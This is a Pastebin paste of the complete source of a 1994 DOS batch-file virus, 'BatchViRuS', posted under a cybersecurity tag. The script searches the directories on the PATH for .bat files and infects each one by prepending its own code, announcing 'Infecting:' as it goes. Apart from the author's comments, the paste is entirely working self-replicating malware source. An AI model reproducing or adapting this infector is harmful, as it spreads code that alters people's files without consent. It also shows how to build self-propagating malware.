Advertisement
FlyFar

BatchViRuS Virus Source Code

Jul 10th, 2023
871
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Batch 2.90 KB | Cybersecurity | 0 0
  1. @echo off>nul.ViRuS
  2. rem ViRuS The BatchViRuS by Dirk van Deun 1994
  3. rem ViRuS May be copied freely (On your own machine !)
  4. rem ViRuS Programmed to prove that it's possible
  5. rem ViRuS (and to show off skill in writing batchfiles)
  6. rem ViRuS If you have no disk cache, you're not interested ;-)
  7. rem ViRuS E-mail hw41652@vub.ac.be
  8.  
  9. rem ViRuS Known bug: interpretation of variables may make lines too long
  10. rem ViRuS for DOS and let characters drop off: unpredictable behaviour
  11.  
  12. if "%0==" echo --------------------------------------->con.ViRuS
  13. if "%0==" echo |   Hi ! I am the nice BatchViRuS !   |
  14. if "%0==" echo --------------------------------------->con.ViRuS
  15. if "%0==" goto ViRuS_OLDBAT
  16. if "%1=="/ViRuS_MULTIPLY goto ViRuS_multiply
  17. if "%1=="/ViRuS_PARSEPATH goto ViRuS_parsepath
  18. if "%1=="/ViRuS_FINDSELF goto ViRuS_findself
  19. if "%VOFF%=="T goto ViRuS_OLDBAT
  20.  
  21. set ViRuSname=%0
  22. if not exist %0.bat command /e:10000 /c %0 /ViRuS_FINDSELF %path%
  23. if not exist %0.bat call xViRuSx
  24. if not exist %0.bat del xViRuSx.bat
  25. if not exist %ViRuSname%.bat set ViRuSname=
  26. if "%ViRuSname%==" goto ViRuS_OLDBAT
  27.  
  28. rem ViRuS if batch is started with name.BAT, virus will not become active
  29. rem ViRuS it was a bug, now it's a feature ! (also notice the voff variable)
  30. rem ViRuS also if batch was only in an append /x:on path (chance=minimal)
  31. rem ViRuS or if environment is too small to contain %ViRuSname% !
  32.  
  33. if "%VPATH%==" set VPATH=%PATH%>nul.ViRuS
  34. rem (if environment cannot hold VPATH, ViRuS will function partially)
  35. command /e:10000 /c %0 /ViRuS_PARSEPATH %VPATH%
  36. call xViRuSx
  37. del xViRuSx.bat
  38. if "%VPATH%==" set VPATH=.>nul.ViRuS
  39. set ViRuSname=
  40. goto ViRuS_OLDBAT
  41.  
  42. :ViRuS_findself
  43. if "%2==" echo.>xViRuSx.bat
  44. if "%2==" exit>nul.ViRuS
  45. if exist %2\%ViRuSname%.bat echo set ViRuSname=%2\%ViRuSname%>xViRuSx.bat
  46. if exist %2\%ViRuSname%.bat exit
  47. if exist %2%ViRuSname%.bat echo set ViRuSname=%2%ViRuSname%>xViRuSx.bat
  48. if exist %2%ViRuSname%.bat exit
  49. shift>nul.ViRuS
  50. goto ViRuS_findself
  51.  
  52. :ViRuS_parsepath
  53. for %%a in (%2\*.bat;%2*.bat) do command /e:10000 /c %ViRuSname% /ViRuS_MULTIPLY %%a
  54. for %%a in (%2\*.bat;%2*.bat) do goto ViRuS_new_vpath
  55. shift>nul.ViRuS
  56. if not "%2==" goto ViRuS_parsepath
  57. if not "%1==". for %%a in (.\*.bat) do command /e:10000 /c %ViRuSname% /ViRuS_MULTIPLY %%a
  58. :ViRuS_new_vpath
  59. set VPATH=%3>nul.ViRuS
  60. :ViRuS_loop
  61. shift>nul.ViRuS
  62. if "%3==" echo set VPATH=%VPATH%>xViRuSx.bat
  63. if "%3==" exit>nul.ViRuS
  64. set VPATH=%VPATH%;%3>nul.ViRuS
  65. goto ViRuS_loop
  66.  
  67. :ViRuS_multiply
  68. echo Checking: %2>con.ViRuS
  69. find "SeT IchBin=%%0" <%2>xViRuSx.bat
  70. call xViRuSx
  71. del xViRuSx.bat
  72. if "%IchBin%=="xViRuSx exit
  73. find "ViRuS" <%ViRuSname%.bat>xViRuSx.bat
  74. type %2>>xViRuSx.bat
  75. copy xViRuSx.bat %2>nul
  76. del xViRuSx.bat
  77. echo Infecting: %2>con.ViRuS
  78. exit>nul.ViRuS
  79.  
  80. rem data for the first find in ViRuS_multiply
  81. SeT IchBin=%0>nul.ViRuS
  82.  
  83. :ViRuS_OLDBAT
  84. echo on>nul.ViRuS
  85. echo This is the dummy original batch
  86. :: 0o0o0o0ps
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement